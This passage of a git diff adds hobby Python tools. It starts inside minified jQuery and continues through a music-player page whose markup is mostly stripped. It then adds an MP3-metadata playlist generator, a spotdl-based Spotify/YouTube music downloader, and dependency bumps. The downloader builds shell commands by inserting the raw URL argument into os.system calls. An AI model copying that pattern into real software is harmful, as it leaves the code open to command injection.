    "],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="
    ",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0 + + + + + + + + + + + + + + Music Player + + + + +
    + + + +
    + +
    +
    +

    +
    +
    +
    +
    +
    + + + +
    + music-cover +
    + +
    + +
      + +
    + +
    + +
    + + + + + + + + + + + + + + \ No newline at end of file diff --git a/py_based_music_player/py_based_music_player.py b/py_based_music_player/py_based_music_player.py new file mode 100644 index 00000000..c1fa178e --- /dev/null +++ b/py_based_music_player/py_based_music_player.py @@ -0,0 +1,56 @@ +import os +import json +from mutagen.mp3 import MP3 +from mutagen.easyid3 import EasyID3 + +music_dir = 'assets/music/' +cover_dir = 'assets/cover/' +js_destination_file = 'js/main/music_list.js' + +with open(js_destination_file,'w') as js_file: + pass + +def work_on_mlist(m_list,m_dir): + out_list = [] + for mp3_index,mp3 in enumerate(m_list): + file_path = music_dir + m_dir + '/' + mp3 + mp3file = MP3(file_path,ID3=EasyID3) + album = mp3file.get('album') + artist = mp3file.get('artist') + genre = mp3file.get('genre') + title = mp3file.get('title') + d_dict ={ + 'id': str(mp3_index), + 'title': title, + 'artist': artist, + 'album': album, + 'genre': genre, + 'f_path':file_path, + 'c_path':file_path.replace('.mp3','.jpg').replace('/music/','/cover/') + } + out_list.append(d_dict) + return out_list + +def write_in_js_file(py_object, js_var_name): + js_object = json.dumps(py_object,indent = 4) + var = 'const ' + js_var_name + ' = ' + + out_string = var + js_object + ';' + + with open(js_destination_file,'a') as js_file: + js_file.write(out_string +'\n') + + +all_list = [d.lower() for d in os.listdir(music_dir)] +write_in_js_file(all_list,'music_list') + +main_dict = {} + +for main_dir in os.listdir(music_dir): + m_list = os.listdir(music_dir+main_dir) + out_list = work_on_mlist(m_list,main_dir) + var = main_dir.lower() + main_dict[var] = out_list + +write_in_js_file(main_dict,'main_list') + \ No newline at end of file diff --git a/spotify_downloader/README.md b/spotify_downloader/README.md new file mode 100644 index 00000000..e2e79366 --- /dev/null +++ b/spotify_downloader/README.md @@ -0,0 +1,32 @@ +- Downloads music from YouTube as an MP3 file. +- Applies basic on metadata like track name, track number, album, genre and more. +

    +You need to download ffmpeg to use this tool, download it from: +1. [MacOs](https://evermeet.cx/ffmpeg/) +2. [Windows](https://www.gyan.dev/ffmpeg/builds/) +3. [Linux](https://johnvansickle.com/ffmpeg/) +4. [Central Release Page](https://ffmpeg.org/download.html) +

    +# Installation +``` +pip install -r requirements.txt +``` + OR +``` +pip3 install -r requirements.txt +``` +# Usage +To download a song run, + + python3 spotify.py $trackUrl + python3 spotify.py https://open.spotify.com/track/08mG3Y1vljYA6bvDt4Wqkj?si=SxezdxmlTx-CaVoucHmrUA + +To download an album run, + + python3 spotify.py $albumUrl + python3 spotify.py https://open.spotify.com/album/2YMWspDGtbDgYULXvVQFM6?si=gF5dOQm8QUSo-NdZVsFjAQ + +To download a playlist run, + + python3 spotify.py $playlistUrl + python3 spotify.py https://open.spotify.com/playlist/37i9dQZF1DWXhcuQw7KIeM?si=xubKHEBESM27RqGkqoXzgQ diff --git a/spotify_downloader/requirements.txt b/spotify_downloader/requirements.txt new file mode 100644 index 00000000..f5441eaa --- /dev/null +++ b/spotify_downloader/requirements.txt @@ -0,0 +1 @@ +spotdl==2.2.2 diff --git a/spotify_downloader/spotify.py b/spotify_downloader/spotify.py new file mode 100644 index 00000000..4858e785 --- /dev/null +++ b/spotify_downloader/spotify.py @@ -0,0 +1,29 @@ +import spotdl +import sys,os +def spotify(): + if(len(sys.argv) <= 1): + print("try 'python3 spotify.py -h' for help") + return 1 + elif(sys.argv[1] == '-h'): + print("To download a song run,\n python3 spotify.py $trackUrl\n\nTo download an album run,\n python3 spotify.py $albumUrl\n\nTo download a playlist run,\n python3 spotify.py $playlistUrl") + return 1 + url = sys.argv[1] + if (url.find('track') > -1): + os.system(f'spotdl --song {url}') + else: + # Playlist + if (url.find('playlist') > -1): + os.system(f"spotdl -p {url} --write-to playlist.txt") + os.system(f"spotdl --list playlist.txt") + # Artist + if (url.find('artist') > -1): + os.system(f"spotdl --all {url} --write-to artist.txt") + os.system(f"spotdl --list artist.txt") + # album + if (url.find('album') > -1): + os.system(f"spotdl -a {url} --write-to album.txt") + os.system(f"spotdl --list album.txt") + + +if __name__ == "__main__": + spotify() diff --git a/url_shortener/requirements.txt b/url_shortener/requirements.txt index 9949eb4f..633cb1ef 100644 --- a/url_shortener/requirements.txt +++ b/url_shortener/requirements.txt @@ -1,8 +1,8 @@ beautifulsoup4==4.9.3 -certifi==2020.6.20 +certifi==2023.7.22 chardet==3.0.4 idna==2.10 pkg-resources==0.0.0 -requests==2.24.0 +requests==2.31.0 soupsieve==2.0.1 -urllib3==1.25.10 +urllib3==1.26.18 diff --git a/yts_torrents/requirements.txt b/yts_torrents/requirements.txt index 3f3661ef..4faa0117 100644 --- a/yts_torrents/requirements.txt +++ b/yts_torrents/requirements.txt @@ -1,5 +1,5 @@ -certifi==2019.9.11 +certifi==2023.7.22 chardet==3.0.4 idna==2.8 -requests==2.22.0 -urllib3==1.25.6 +requests==2.31.0 +urllib3==1.26.19